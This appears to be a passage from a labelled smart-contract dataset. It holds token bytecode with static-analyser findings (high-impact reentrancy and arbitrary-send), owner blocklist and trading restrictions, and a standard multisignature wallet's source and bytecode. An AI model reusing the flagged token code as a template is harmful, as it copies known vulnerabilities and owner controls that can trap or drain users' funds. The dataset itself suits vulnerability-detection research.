c1b6020820152610168565b34801561030e57600080fd5b5061019e61031d36600461187c565b6109dc565b34801561032e57600080fd5b506101386109e9565b34801561034357600080fd5b506101386103523660046119a6565b610a1f565b34801561036357600080fd5b506101c3610372366004611804565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d05760405162461bcd60e51b81526004016103c790611a3e565b60405180910390fd5b60005b8151811015610446576001600a600084848151811061040257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061043e81611b51565b9150506103d3565b5050565b6000610457338484610aef565b5060015b92915050565b600061046e848484610c13565b6104c084336104bb85604051806060016040528060288152602001611bbc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611025565b610aef565b5060019392505050565b6000546001600160a01b031633146104f45760405162461bcd60e51b81526004016103c790611a3e565b600f54600160a01b900460ff161561054e5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103c7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058830826509184e72a000610aef565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c157600080fd5b505afa1580156105d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f991906117e8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067991906117e8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c157600080fd5b505af11580156106d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f991906117e8565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072981610946565b60008061073e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a157600080fd5b505af11580156107b5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107da91906119be565b5050600f80546509184e72a00060105562ff00ff60a01b1981166201000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561084e57600080fd5b505af1158015610862573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610446919061198a565b6000546001600160a01b031633146108b05760405162461bcd60e51b81526004016103c790611a3e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108f85760405162461bcd60e51b81526004016103c790611a3e565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461093957600080fd5b476109438161105f565b50565b6001600160a01b03811660009081526002602052604081205461045b906110f4565b6000546001600160a01b031633146109925760405162461bcd60e51b81526004016103c790611a3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610457338484610c13565b600c546001600160a01b0316336001600160a01b031614610a0957600080fd5b6000610a1430610946565b905061094381611178565b6000546001600160a01b03163314610a495760405162461bcd60e51b81526004016103c790611a3e565b60008111610a995760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103c7565b610ab46064610aae6509184e72a0008461131d565b9061139c565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c7565b6001600160a01b038216610bb25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c7565b6001600160a01b038216610cd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c7565b60008111610d3b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c7565b6000546001600160a01b03848116911614801590610d6757506000546001600160a01b03838116911614155b15610fc857600f54600160b81b900460ff1615610e4e576001600160a01b0383163014801590610da057506001600160a01b0382163014155b8015610dba5750600e546001600160a01b03848116911614155b8015610dd45750600e546001600160a01b03838116911614155b15610e4e57600e546001600160a01b0316336001600160a01b03161480610e0e5750600f546001600160a01b0316336001600160a01b0316145b610e4e5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103c7565b601054811115610e5d57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610e9f57506001600160a01b0382166000908152600a602052604090205460ff16155b610ea857600080fd5b600f546001600160a01b038481169116148015610ed35750600e546001600160a01b03838116911614155b8015610ef857506001600160a01b03821660009081526005602052604090205460ff16155b8015610f0d5750600f54600160b81b900460ff165b15610f5b576001600160a01b0382166000908152600b60205260409020544211610f3657600080fd5b610f41426019611ae3565b6001600160a01b0383166000908152600b60205260409020555b6000610f6630610946565b600f54909150600160a81b900460ff16158015610f915750600f546001600160a01b03858116911614155b8015610fa65750600f54600160b01b900460ff165b15610fc657610fb481611178565b478015610fc457610fc44761105f565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061100a57506001600160a01b03831660009081526005602052604090205460ff165b15611013575060005b61101f848484846113de565b50505050565b600081848411156110495760405162461bcd60e51b81526004016103c791906119eb565b5060006110568486611b3a565b95945050505050565b600c546001600160a01b03166108fc611084600a61107e85600261139c565b9061131d565b6040518115909202916000818181858888f193505050501580156110ac573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cc600a61107e85600861139c565b6040518115909202916000818181858888f19350505050158015610446573d6000803e3d6000fd5b600060065482111561115b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c7565b600061116561140a565b9050611171838261139c565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ce57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122257600080fd5b505afa158015611236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125a91906117e8565b8160018151811061127b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a19130911684610aef565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112da908590600090869030904290600401611a73565b600060405180830381600087803b1580156112f457600080fd5b505af1158015611308573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132c5750600061045b565b60006113388385611b1b565b9050826113458583611afb565b146111715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c7565b600061117183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142d565b806113eb576113eb61145b565b6113f684848461147e565b8061101f5761101f6005600855600a600955565b6000806000611417611575565b9092509050611426828261139c565b9250505090565b6000818361144e5760405162461bcd60e51b81526004016103c791906119eb565b5060006110568486611afb565b60085415801561146b5750600954155b1561147257565b60006008819055600955565b600080600080600080611490876115b1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c2908761160e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f19086611650565b6001600160a01b038916600090815260026020526040902055611513816116af565b61151d84836116f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156291815260200190565b60405180910390a3505050505050505050565b60065460009081906509184e72a00061158e828261139c565b8210156115a8575050600654926509184e72a00092509050565b90939092509050565b60008060008060008060008060006115ce8a60085460095461171d565b92509250925060006115de61140a565b905060008060006115f18e87878761176c565b919e509c509a509598509396509194505050505091939550919395565b600061117183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611025565b60008061165d8385611ae3565b9050838110156111715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c7565b60006116b961140a565b905060006116c7838361131d565b306000908152600260205260409020549091506116e49082611650565b30600090815260026020526040902055505050565b600654611706908361160e565b6006556007546117169082611650565b6007555050565b60008080806117316064610aae898961131d565b905060006117446064610aae8a8961131d565b9050600061175c826117568b8661160e565b9061160e565b9992985090965090945050505050565b600080808061177b888661131d565b90506000611789888761131d565b90506000611797888861131d565b905060006117a982611756868661160e565b939b939a50919850919650505050505050565b80356117c781611b98565b919050565b6000602082840312156117dd578081fd5b813561117181611b98565b6000602082840312156117f9578081fd5b815161117181611b98565b60008060408385031215611816578081fd5b823561182181611b98565b9150602083013561183181611b98565b809150509250929050565b600080600060608486031215611850578081fd5b833561185b81611b98565b9250602084013561186b81611b98565b929592945050506040919091013590565b6000806040838503121561188e578182fd5b823561189981611b98565b946020939093013593505050565b600060208083850312156118b9578182fd5b823567ffffffffffffffff808211156118d0578384fd5b818501915085601f8301126118e3578384fd5b8135818111156118f5576118f5611b82565b8060051b604051601f19603f8301168101818110858211171561191a5761191a611b82565b604052828152858101935084860182860187018a1015611938578788fd5b8795505b838610156119615761194d816117bc565b85526001959095019493860193860161193c565b5098975050505050505050565b60006020828403121561197f578081fd5b813561117181611bad565b60006020828403121561199b578081fd5b815161117181611bad565b6000602082840312156119b7578081fd5b5035919050565b6000806000606084860312156119d2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a17578581018301518582016040015282016119fb565b81811115611a285783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac25784516001600160a01b031683529383019391830191600101611a9d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af657611af6611b6c565b500190565b600082611b1657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3557611b35611b6c565b500290565b600082821015611b4c57611b4c611b6c565b500390565b6000600019821415611b6557611b65611b6c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094357600080fd5b801515811461094357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122070825fedba7654659ca1dbcc37efe01894b70862915e33b069a32c4e1d1e011864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,807 |
0x2e48F0759E83d696CAA54a724CC226fE4Bc54444 | pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6c1f18090a0d02420b09031e0b092c0f03021f09021f151f42020918">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104b1578063a8abe69a1461051b578063b5dc40c3146105b2578063b77bf6001461062a578063ba51a6df14610653578063c01a8c8414610676578063c642747414610699578063d74f8edd14610732578063dc8452cd1461075b578063e20056e614610784578063ee22610b146107dc575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b61019860048080359060200190919050506107ff565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061083e565b005b341561021e57600080fd5b6102346004808035906020019091905050610ada565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c82565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca2565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cd1565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d63565b005b341561036957600080fd5b61037f6004808035906020019091905050610f65565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba600480803590602001909190505061104b565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611117565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610473578082015181840152602081019050610458565b50505050905090810190601f1680156104a05780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34156104bc57600080fd5b6104c461120c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105075780820151818401526020810190506104ec565b505050509050019250505060405180910390f35b341561052657600080fd5b61055b6004808035906020019091908035906020019091908035151590602001909190803515159060200190919050506112a0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561059e578082015181840152602081019050610583565b505050509050019250505060405180910390f35b34156105bd57600080fd5b6105d360048080359060200190919050506113fc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106165780820151818401526020810190506105fb565b505050509050019250505060405180910390f35b341561063557600080fd5b61063d611626565b6040518082815260200191505060405180910390f35b341561065e57600080fd5b610674600480803590602001909190505061162c565b005b341561068157600080fd5b61069760048080359060200190919050506116e6565b005b34156106a457600080fd5b61071c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506118c3565b6040518082815260200191505060405180910390f35b341561073d57600080fd5b6107456118e2565b6040518082815260200191505060405180910390f35b341561076657600080fd5b61076e6118e7565b6040518082815260200191505060405180910390f35b341561078f57600080fd5b6107da600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118ed565b005b34156107e757600080fd5b6107fd6004808035906020019091905050611c04565b005b60038181548110151561080e57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561087a57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108d357600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a5b578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561096657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a4e5760036001600380549050038154811015156109c557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a0057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a5b565b8180600101925050610930565b6001600381818054905003915081610a739190612025565b506003805490506004541115610a9257610a9160038054905061162c565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b3357600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b9e57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610bce57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d5c57838015610d10575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d435750828015610d42575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d4f576001820191505b8080600101915050610cd9565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9d57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610df757600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e1e57600080fd5b60016003805490500160045460328211158015610e3b5750818111155b8015610e48575060008114155b8015610e55575060008214155b1515610e6057600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610ecc9190612051565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60038054905081101561104357600160008581526020019081526020016000206000600383815481101515610fa357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611023576001820191505b6004548214156110365760019250611044565b8080600101915050610f72565b5b5050919050565b600080600090505b6003805490508110156111115760016000848152602001908152602001600020600060038381548110151561108457fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611104576001820191505b8080600101915050611053565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111ef5780601f106111c4576101008083540402835291602001916111ef565b820191906000526020600020905b8154815290600101906020018083116111d257829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b61121461207d565b600380548060200260200160405190810160405280929190818152602001828054801561129657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161124c575b5050505050905090565b6112a8612091565b6112b0612091565b6000806005546040518059106112c35750595b9080825280602002602001820160405250925060009150600090505b60055481101561137f57858015611316575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806113495750848015611348575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156113725780838381518110151561135d57fe5b90602001906020020181815250506001820191505b80806001019150506112df565b87870360405180591061138f5750595b908082528060200260200182016040525093508790505b868110156113f15782818151811015156113bc57fe5b90602001906020020151848983038151811015156113d657fe5b906020019060200201818152505080806001019150506113a6565b505050949350505050565b61140461207d565b61140c61207d565b6000806003805490506040518059106114225750595b9080825280602002602001820160405250925060009150600090505b6003805490508110156115815760016000868152602001908152602001600020600060038381548110151561146f57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611574576003818154811015156114f757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561153157fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b808060010191505061143e565b8160405180591061158f5750595b90808252806020026020018201604052509350600090505b8181101561161e5782818151811015156115bd57fe5b9060200190602002015184828151811015156115d557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506115a7565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166657600080fd5b600380549050816032821115801561167e5750818111155b801561168b575060008114155b8015611698575060008214155b15156116a357600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405180828152602001915050604051